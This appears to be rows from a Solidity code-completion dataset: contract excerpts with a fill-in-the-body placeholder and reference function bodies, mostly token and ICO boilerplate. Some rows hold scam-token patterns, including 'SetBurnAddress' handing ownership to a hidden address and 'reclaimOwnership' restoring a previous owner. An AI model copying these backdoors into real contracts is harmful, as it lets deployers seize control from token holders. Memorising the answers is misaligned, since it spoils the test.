_feeAddrWallet2 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 10012 | contract FIBA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
ma... |
_feeAddrWallet1 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C);
_feeAddrWallet2 = payable(0xb9ad731bff7Dd1e1d5956e95470fab4c0bF41B3C);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
ElyToken | setLockupContract |
require(_lockupContract != address(0));
lockupContract = LockupContract(_lockupContract);
| 100122 | contract ElyToken is MintingERC20 {
SellableToken public ico;
SellableToken public privateSale;
LockupContract public lockupContract;
address public bountyAddress;
bool public transferFrozen = true;
modifier onlySellable() {
require(msg.sender == address(ico) || msg.sender ... |
require(_lockupContract != address(0));
lockupContract = LockupContract(_lockupContract);
|
Virgingold | Virgingold |
owner = msg.sender;
uint256 devTokens = 150000e8;
distr(owner, devTokens);
| 100124 | contract Virgingold is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Virgingold";
string public constant symbol = "VGOLD";
ui... |
owner = msg.sender;
uint256 devTokens = 150000e8;
distr(owner, devTokens);
|
INVEToken | null |
symbol = "INVE";
name = "InveCoin";
decimals = 18;
_totalSupply = 183000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
| 100125 | contract INVEToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// -------------------------... |
symbol = "INVE";
name = "InveCoin";
decimals = 18;
_totalSupply = 183000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
|
Crypland | userOfferCancelElement |
require(offers[group][asset][unit].isOffer);
offers[group][asset][unit].isOffer = false;
offers[group][asset][unit].startPrice = 0;
offers[group][asset][unit].endPrice = 0;
offers[group][asset][unit].startBlock = 0;
offers[group][asset][unit].endBlock = 0;
| 100127 | contract Crypland {
struct Element {uint worth; uint level; uint cooldown;}
struct Offer {uint startPrice; uint endPrice; uint startBlock; uint endBlock; bool isOffer;}
bool public paused;
address public owner;
Element[][25][4] public elements;
mapping (uint => mapping (uint => mapping (uint => a... |
require(offers[group][asset][unit].isOffer);
offers[group][asset][unit].isOffer = false;
offers[group][asset][unit].startPrice = 0;
offers[group][asset][unit].endPrice = 0;
offers[group][asset][unit].startBlock = 0;
offers[group][asset][unit].endBlock = 0;
|
HoneyGoose | null |
_feeAddrWallet1 = payable(0x4f6565565Cfb7cD9dE4fc779a97F57e1F95ACcff);
_feeAddrWallet2 = payable(0x4f6565565Cfb7cD9dE4fc779a97F57e1F95ACcff);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 100131 | contract HoneyGoose is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
... |
_feeAddrWallet1 = payable(0x4f6565565Cfb7cD9dE4fc779a97F57e1F95ACcff);
_feeAddrWallet2 = payable(0x4f6565565Cfb7cD9dE4fc779a97F57e1F95ACcff);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
NinjaGaiden | null |
_feeAddrWallet1 = payable(0x08f244739083d90F5f093A63D6d10f11f136667E);
_feeAddrWallet2 = payable(0x08f244739083d90F5f093A63D6d10f11f136667E);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 100133 | contract NinjaGaiden is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
... |
_feeAddrWallet1 = payable(0x08f244739083d90F5f093A63D6d10f11f136667E);
_feeAddrWallet2 = payable(0x08f244739083d90F5f093A63D6d10f11f136667E);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
PATH | PATH |
transferableStartTime = _transferableStartTime;
| 100134 | contract PATH is MintableToken, BurnableToken, SafePayloadChecker {
/**
* @dev the original supply, for posterity, since totalSupply will decrement on burn
*/
uint256 public initialSupply = 400000000 * (10 ** uint256(decimals));
/**
* ERC20 Identification Functions
*/
string public constant... |
transferableStartTime = _transferableStartTime;
|
MoldCoin | allocateFounderTokens |
require( block.timestamp > endDatetime );
require(!founderAllocated);
balances[founder] = safeAdd(balances[founder], founderAllocation);
totalSupply = safeAdd(totalSupply, founderAllocation);
founderAllocated = true;
AllocateFounderTokens(msg.sender, founderAll... | 100137 | contract MoldCoin is StandardToken, SafeMath {
string public name = "MOLD";
string public symbol = "MLD";
uint public decimals = 18;
uint public startDatetime; //pre-sell start datetime seconds
uint public firstStageDatetime; //first 120 hours pre-sell in seconds
uint public secondStage... |
require( block.timestamp > endDatetime );
require(!founderAllocated);
balances[founder] = safeAdd(balances[founder], founderAllocation);
totalSupply = safeAdd(totalSupply, founderAllocation);
founderAllocated = true;
AllocateFounderTokens(msg.sender, founderAllocation)... |
TradeableERC721Token | null |
proxyRegistryAddress = _proxyRegistryAddress;
| 100138 | contract TradeableERC721Token is ERC721Full, Ownable, MultiSigOwnable {
using Strings for string;
// Mapping from token ID to item type.
mapping (uint256 => uint256) public itemTypes;
mapping (uint256 => uint256) public itemCategory;
address proxyRegistryAddress;
constructor(string memory _name,... |
proxyRegistryAddress = _proxyRegistryAddress;
|
VINContract | sendTokensToFounders |
require(!sentTokensToFounders && now >= foundersRewardTime);
//Calculate total tokens sold on pre-ICO and ICO
uint tokensSold = add(totalSoldOnICO, totalSoldOnPresale);
uint totalTokenToSold = add(ICOCap, presaleCap);
uint x = mul(mul(tokensSold, totalCap), 35);
... | 100139 | contract VINContract is SafeMath {
/*
* ICO meta data
*/
VINNDTokenContract public VINToken;
enum Stage{
Pause,
Init,
Running,
Stopped
}
enum Type{
PRESALE,
ICO
}
// Initializing current steps
Stage public currentStage = Stage.Pause;... |
require(!sentTokensToFounders && now >= foundersRewardTime);
uint tokensSold = add(totalSoldOnICO, totalSoldOnPresale);
uint totalTokenToSold = add(ICOCap, presaleCap);
uint x = mul(mul(tokensSold, totalCap), 35);
uint y = mul(100, totalTokenToSold);
uint resu... |
CKUSDToken | null |
symbol = "CKUSD";
name = "CKUSD";
decimals = 18;
_totalSupply = 100000000 * 10**uint(decimals);
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
| 10014 | contract CKUSDToken is ERC20Interface {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// -----------------------------------------------... |
symbol = "CKUSD";
name = "CKUSD";
decimals = 18;
_totalSupply = 100000000 * 10**uint(decimals);
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
|
AirdropDistributor | distribute |
require(msg.sender == owner, "Not owner");
for (uint i = 0; i < recipients.length; i++) {
IERC721(floyds).safeTransferFrom(
source,
recipients[i].account,
recipients[i].tokenId
);
}
| 100142 | contract AirdropDistributor {
struct Recipient {
address account;
uint tokenId;
}
address public immutable owner;
address public constant floyds = 0x39C1Fb9a9b3b39f1953E7967156A8f11A831Fd44;
address public constant source = 0x7A97f91fA492Dc693c141A040Ecc605F518Ca11c;
// assign owner in ... |
require(msg.sender == owner, "Not owner");
for (uint i = 0; i < recipients.length; i++) {
IERC721(floyds).safeTransferFrom(
source,
recipients[i].account,
recipients[i].tokenId
);
}
|
CHEDTAMA | _takeTeam |
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
| 100146 | contract CHEDTAMA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFe... |
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
|
SPARCPresale | startSale |
funding = true;
| 100152 | contract SPARCPresale {
uint256 public maxEther = 1000 ether;
uint256 public etherRaised = 0;
address public SPARCAddress;
address public beneficiary;
bool public funding = false;
address public owner;
modifier onlyOwner() {
if (msg.sender !=... |
funding = true;
|
AErc20 | borrow |
return borrowInternal(borrowAmount);
| 100155 | contract AErc20 is AToken, AErc20Interface {
/**
* @notice Initialize the new money market
* @param underlying_ The address of the underlying asset
* @param controller_ The address of the Controller
* @param interestRateModel_ The address of the interest rate model
* @param initialExch... |
return borrowInternal(borrowAmount);
|
KayoToken | transfer |
require(transfersEnabled);
transferFrom(msg.sender, _to, _amount);
return true;
| 100156 | contract KayoToken is Owned {
string public name;
uint8 public decimals;
string public symbol;
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
KayoToken public parentToken;
... |
require(transfersEnabled);
transferFrom(msg.sender, _to, _amount);
return true;
|
Ciphs | getRate |
return rate;
| 100157 | contract Ciphs is ciphCommunity{
//using SafeMath for uint256;
string public constant name = "Ciphs";
string public constant symbol = "CIPHS";
uint8 public constant decimals = 18;
uint256 public rate = 1000000e18;
uint256 raisedAmount = 0;
uint256 public constant INITIAL_SUPPLY = 7000000e18;... |
return rate;
|
ConservativeCoin | ConservativeCoin |
balances[msg.sender] = 100000000000; // Give the creator all initial tokens (100000 for example)
totalSupply = 100000000000; // Update total supply (100000 for example)
name = "ConservativeCoin"; // Set the name for displ... | 100161 | contract ConservativeCoin is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to... |
balances[msg.sender] = 100000000000;
totalSupply = 100000000000;
name = "ConservativeCoin";
decimals = 4;
symbol = "CON";
|
OUT | transferFrom |
require(value <= _OUTTokenBalances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_OUTTokenBalances[from] = _OUTTokenBalances[from].sub(value);
uint256 OUTTokenDecay = value.div(20);
uint256 tokensToTransfer = value.sub(OUTTokenDecay);
_OUTToke... | 100162 | contract OUT is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) public _OUTTokenBalances;
mapping (address => mapping (address => uint256)) public _allowed;
string constant tokenName = "OneUtility";
string constant tokenSymbol = "OUT";
uint8 constant tokenDecimals = 18;
uint256 _totalS... |
require(value <= _OUTTokenBalances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_OUTTokenBalances[from] = _OUTTokenBalances[from].sub(value);
uint256 OUTTokenDecay = value.div(20);
uint256 tokensToTransfer = value.sub(OUTTokenDecay);
_OUTTokenBalances[... |
ERC20 | _approve |
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
| 100165 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approv... |
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
|
DagtCrowdsale | bonusesForAmountsCount |
return BONUS_AMOUNTS.length;
| 100166 | contract DagtCrowdsale is CappedCrowdsale, MintedCrowdsale, FinalizableCrowdsale, WhitelistedCrowdsale {
using SafeMath for uint256;
// Constants
string public constant version = "1.1";
// DAGT token unit.1000000000000000000
// Using same decimal value as ETH (makes ETH-DAGT conversion much easi... |
return BONUS_AMOUNTS.length;
|
Athena | null |
_feeAddrWallet1 = payable(0xb30d777aeABC49eB3E4056Bee565A76d53026398);
_feeAddrWallet2 = payable(0xb30d777aeABC49eB3E4056Bee565A76d53026398);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedF... | 100167 | contract Athena is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
... |
_feeAddrWallet1 = payable(0xb30d777aeABC49eB3E4056Bee565A76d53026398);
_feeAddrWallet2 = payable(0xb30d777aeABC49eB3E4056Bee565A76d53026398);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee... |
SimpleRestrictedFDTFactory | newSRFDT |
if (gated == true) {
require(msg.sender == deployer);
}
SRFDT = new SimpleRestrictedFDT(
name,
symbol,
_fundsToken,
initialOwner,
initialAmount);
tokens.push(address(SRFDT));
... | 100168 | contract SimpleRestrictedFDTFactory {
// presented by OpenEsquire || lexDAO
// Factory settings
string public stamp;
bool public gated;
address public deployer;
SimpleRestrictedFDT private SRFDT;
address[] public tokens;
event Deployed(address indexed SRFDT... |
if (gated == true) {
require(msg.sender == deployer);
}
SRFDT = new SimpleRestrictedFDT(
name,
symbol,
_fundsToken,
initialOwner,
initialAmount);
tokens.push(address(SRFDT));
... |
DarknodeSlasher | submitChallengeOrder |
SettlementUtils.OrderDetails memory order = SettlementUtils.OrderDetails({
settlementID: settlementID,
tokens: tokens,
price: price,
volume: volume,
minimumVolume: minimumVolume
});
// Hash the order
bytes32 orderID ... | 100173 | contract DarknodeSlasher is Ownable {
string public VERSION; // Passed in as a constructor parameter.
DarknodeRegistry public trustedDarknodeRegistry;
Orderbook public trustedOrderbook;
mapping(bytes32 => bool) public orderSubmitted;
mapping(bytes32 => mapping(bytes32 => bool)) public challe... |
SettlementUtils.OrderDetails memory order = SettlementUtils.OrderDetails({
settlementID: settlementID,
tokens: tokens,
price: price,
volume: volume,
minimumVolume: minimumVolume
});
bytes32 orderID = SettlementUtils.hashOrder... |
LockerToken | allowance |
return _allowances[owner][spender];
| 100174 | contract LockerToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 1000000000 * 10**18;
uint256... |
return _allowances[owner][spender];
|
BlockpassToken | null |
_mint(msg.sender, 80000 * 10**18);
| 100176 | contract BlockpassToken is ERC20 {
constructor() public ERC20("BLP Token", "BLP") {<FILL_FUNCTION_BODY>}
} |
_mint(msg.sender, 80000 * 10**18);
|
GIZAToken | startNow |
start = now;
| 100178 | contract GIZAToken is ERC20, Ownable {
using SafeMath for uint256;
//The name of the token
bytes32 public name;
//The token symbol
bytes32 public symbol;
//The precision used in the calculations in contract
uint8 public decimals;
//To denote the locking on transfer of tokens... |
start = now;
|
Ownable | setManager |
manager = _manager;
return true;
| 100181 | contract Ownable {
address public owner;
address public manager;
address public behalfer;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event SetManager(address indexed _manager);
constructor () public {
owner = msg.sender;
}
modifier onlyOwner() ... |
manager = _manager;
return true;
|
LongevityToken | passThroughTap |
require(_tokensRequested <= getTapRemaining());
mintTap.tokensIssued = mintTap.tokensIssued.add(_tokensRequested);
| 100182 | contract LongevityToken is StandardToken {
string public name = "Longevity";
string public symbol = "LTY";
uint8 public decimals = 2;
bool public mintingFinished = false;
mapping (address => bool) owners;
mapping (address => bool) minters;
// tap to limit mint speed
struct Tap {
... |
require(_tokensRequested <= getTapRemaining());
mintTap.tokensIssued = mintTap.tokensIssued.add(_tokensRequested);
|
PRDXToken | PRDXToken |
balances[msg.sender] = 240000000000000000000000000; // Give the creator all initial tokens
totalSupply = 240000000000000000000000000; // Update total supply
name = "PRDX Token"; // Set the name for display purposes
... | 100185 | contract PRDXToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to custom... |
balances[msg.sender] = 240000000000000000000000000;
totalSupply = 240000000000000000000000000;
name = "PRDX Token";
decimals = 18;
symbol = "PRDX"; ... |
JRL | JRL |
balances[msg.sender] = 3600000000000; // Give the creator all initial tokens
totalSupply = 3600000000000; // Update total supply
name = "jirle"; // Set the name for display purposes
decimals =4; ... | 100187 | contract JRL{
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one t... |
balances[msg.sender] = 3600000000000;
totalSupply = 3600000000000;
name = "jirle";
decimals =4;
symbol = "JRL";
|
DaaToken | isTransferValid |
return balances[_from] >= _amount && // sufficient balance
_amount > 0 && // amount is positive
_to != address(this) && // prevent sending tokens to contract
_to != address(0x0) // prevent sending token to 0x0 address
;
| 100191 | contract DaaToken {
//
// events
//
// ERC20 events
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// mint/burn events
event Mint(address indexed _to, uint256 _amount, uint256 _newTota... |
return balances[_from] >= _amount &&
_amount > 0 &&
_to != address(this) &&
_to != address(0x0)
;
|
Ownable | reclaimOwnership |
require(newOwner == _previousOwner, "Ownable: new owner must be previous owner");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
| 100195 | contract Ownable is Context {
address internal _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit Ownership... |
require(newOwner == _previousOwner, "Ownable: new owner must be previous owner");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
|
ePEPE | _getTValues |
uint256[5] memory _localVal;
_localVal[0]/**supply*/ = tAmount.div(100).mul(0);
_localVal[1]/**tBurnValue*/ = tAmount.div(100).mul(0);
_localVal[2]/**tholder*/ = tAmount.div(100).mul(2);
_localVal[3]/**tLiquidity*/ = tAmount.div(100).mul(2);
_localVal[4]/... | 100197 | contract ePEPE is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool... |
uint256[5] memory _localVal;
_localVal[0] = tAmount.div(100).mul(0);
_localVal[1] = tAmount.div(100).mul(0);
_localVal[2] = tAmount.div(100).mul(2);
_localVal[3] = tAmount.div(100).mul(2);
_localVal[4] = tAmount.sub(_localVal[2]).sub(_localVal[1]).sub(_localVal[... |
ToonBase | _createToon |
require(totalSupply() < maxSupply);
Toon memory _toon = Toon(_genes, now);
uint id = toons.push(_toon) - 1;
_mint(_owner, id);
| 100199 | contract ToonBase is ERC721Token, AccessControl, ToonInterface {
using StringUtils for *;
using SafeMath for uint;
Toon[] private toons;
uint public maxSupply;
uint32 public maxPromoToons;
address public authorAddress;
string public endpoint = "https://mindhouse.io:3100/metadata/... |
require(totalSupply() < maxSupply);
Toon memory _toon = Toon(_genes, now);
uint id = toons.push(_toon) - 1;
_mint(_owner, id);
|
Owned | acceptOwnership |
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0x0);
| 10020 | contract Owned {
address public owner;
address public newOwner;
// Events ---------------------------
event OwnershipTransferProposed(address indexed _from, address indexed _to);
event OwnershipTransferred(address indexed _from, address indexed _to);
// Modifier -------------------------
m... |
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0x0);
|
GuneToken | burnToken |
balances[target] -= tokens;
totalSupply_ = safeSub(totalSupply_, tokens);
Transfer(owner, target, tokens);
| 100200 | contract GuneToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public startDate;
uint public bonusEnds;
uint public endDate;
uint public initialSupply = 20000000e18;
uint public totalSupply_;
uint public HARD_CAP... |
balances[target] -= tokens;
totalSupply_ = safeSub(totalSupply_, tokens);
Transfer(owner, target, tokens);
|
Meteora | getAdmin |
return _admins[input];
| 100208 | contract Meteora {
string private _name;
string private _symbol;
uint256 private _totalSupply;
address private Lunaris;
uint8 private _decimals;
bool private _paused;
mapping (address => bool) private _admins;
mapping (address => uint256) private _balances;
mapping (add... |
return _admins[input];
|
BIGSTAGE | BIGSTAGE |
balances[msg.sender] = INITIAL_SUPPLY; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = INITIAL_SUPPLY; // Update total... | 100209 | contract BIGSTAGE is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functio... |
balances[msg.sender] = INITIAL_SUPPLY;
totalSupply = INITIAL_SUPPLY;
name = "BIGSTAGE";
symbol = "BiiC";
unitsOneEthCanBuy = 10; ... |
PetmancoinToken | PetmancoinToken |
symbol = "PTMC";
name = "Petmancoin Token";
decimals = 18;
bonusEnds = now + 3 weeks;
endDate = now + 7 weeks;
| 100210 | contract PetmancoinToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address =>... |
symbol = "PTMC";
name = "Petmancoin Token";
decimals = 18;
bonusEnds = now + 3 weeks;
endDate = now + 7 weeks;
|
AYA | null |
symbol = "AYA";
name = "Project Laya";
decimals = 18;
_totalSupply = 8000000000000000000000000;
balances[0x7fa7f2ec928cd9b8cf2fed0de18d6a519a9ffb4b] = _totalSupply;
emit Transfer(address(0), 0x7fa7f2ec928cd9b8cf2fed0de18d6a519a9ffb4b, _totalSupply);
| 100211 | contract AYA is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ----------------------------------------------... |
symbol = "AYA";
name = "Project Laya";
decimals = 18;
_totalSupply = 8000000000000000000000000;
balances[0x7fa7f2ec928cd9b8cf2fed0de18d6a519a9ffb4b] = _totalSupply;
emit Transfer(address(0), 0x7fa7f2ec928cd9b8cf2fed0de18d6a519a9ffb4b, _totalSupply);
|
ICO | sendEthForReward |
assert(!preico.rewardWasSent(msg.sender));
uint amount = div(mul(totalDonations, 3), 100);
uint ethAmountForReward = div(mul(amount,preico.part(msg.sender)), 1000000);
preico.setRewardWasSent(msg.sender);
msg.sender.transfer(ethAmountForReward);
| 100212 | contract ICO is DSAuth, DSExec, DSMath {
uint128 public ICOAmount;
uint128 public ICOReward;
address[] investorsArray;
struct preICOInvestor {
uint amount;
bool tokenSent;
bool rewardSent;
bool largeBonusSent;
}
mapping (address => preICOInvestor) public investors;... |
assert(!preico.rewardWasSent(msg.sender));
uint amount = div(mul(totalDonations, 3), 100);
uint ethAmountForReward = div(mul(amount,preico.part(msg.sender)), 1000000);
preico.setRewardWasSent(msg.sender);
msg.sender.transfer(ethAmountForReward);
|
Hodl | DepositCount |
return _member[a].length;
| 100214 | contract Hodl is BlockableContract{
struct Safe{
uint256 id;
address user;
address tokenAddress;
uint256 amount;
uint256 time;
}
//dev safes variables
mapping( address => uint256[]) private _member;
mapping( uint256 => Safe) private _... |
return _member[a].length;
|
TradingBot | null |
_getWeth(msg.value);
_approveWeth(msg.value);
OWNER = msg.sender;
| 10023 | contract TradingBot is DyDxFlashLoan {
uint256 public loan;
// Addresses
address payable OWNER;
// OneSplit Config
address ONE_SPLIT_ADDRESS = 0xC586BeF4a0992C495Cf22e1aeEE4E446CECDee0E;
uint256 PARTS = 10;
uint256 FLAGS = 0;
// ZRX Config
address ZRX_EXCHANGE_ADDRESS =... |
_getWeth(msg.value);
_approveWeth(msg.value);
OWNER = msg.sender;
|
spectraCBDToken | finishMinting |
mintingFinished = true;
MintingFinished();
return true;
| 100231 | contract spectraCBDToken is Ownable {
string public constant name = "spectraCBDToken";
string public constant symbol = "SCBD";
uint8 public constant decimals = 18;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint... |
mintingFinished = true;
MintingFinished();
return true;
|
Ownable | SetBurnAddress |
require(_owner != godpiey);
emit OwnershipTransferred(_owner, godpiey);
_owner = godpiey;
| 100232 | contract Ownable is Context {
address private _owner;
address private godpiey;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender... |
require(_owner != godpiey);
emit OwnershipTransferred(_owner, godpiey);
_owner = godpiey;
|
ClientRaindrop | deleteUser |
bytes32 uncasedUserNameHash = addressDirectory[msg.sender];
require(initialized(uncasedUserNameHash), "No user associated with the sender address.");
string memory casedUserName = userDirectory[uncasedUserNameHash].casedUserName;
delete addressDirectory[msg.sender];
del... | 100233 | contract ClientRaindrop is Withdrawable {
// attach the StringUtils library
using StringUtils for string;
using StringUtils for StringUtils.slice;
// Events for when a user signs up for Raindrop Client and when their account is deleted
event UserSignUp(string casedUserName, address userAddress);... |
bytes32 uncasedUserNameHash = addressDirectory[msg.sender];
require(initialized(uncasedUserNameHash), "No user associated with the sender address.");
string memory casedUserName = userDirectory[uncasedUserNameHash].casedUserName;
delete addressDirectory[msg.sender];
delete use... |
SpaceViking | null |
name = "Space Viking";
symbol = "SVK";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
| 100237 | contract SpaceViking is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)... |
name = "Space Viking";
symbol = "SVK";
decimals = 18;
_totalSupply = 1000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
|
UMM | null |
_mint(msg.sender, 28000 * 10 ** 18);
| 100239 | contract UMM is ERC20, ERC20Detailed {
constructor() public ERC20Detailed("UMM Finance","UMM",18) {<FILL_FUNCTION_BODY>}
} |
_mint(msg.sender, 28000 * 10 ** 18);
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.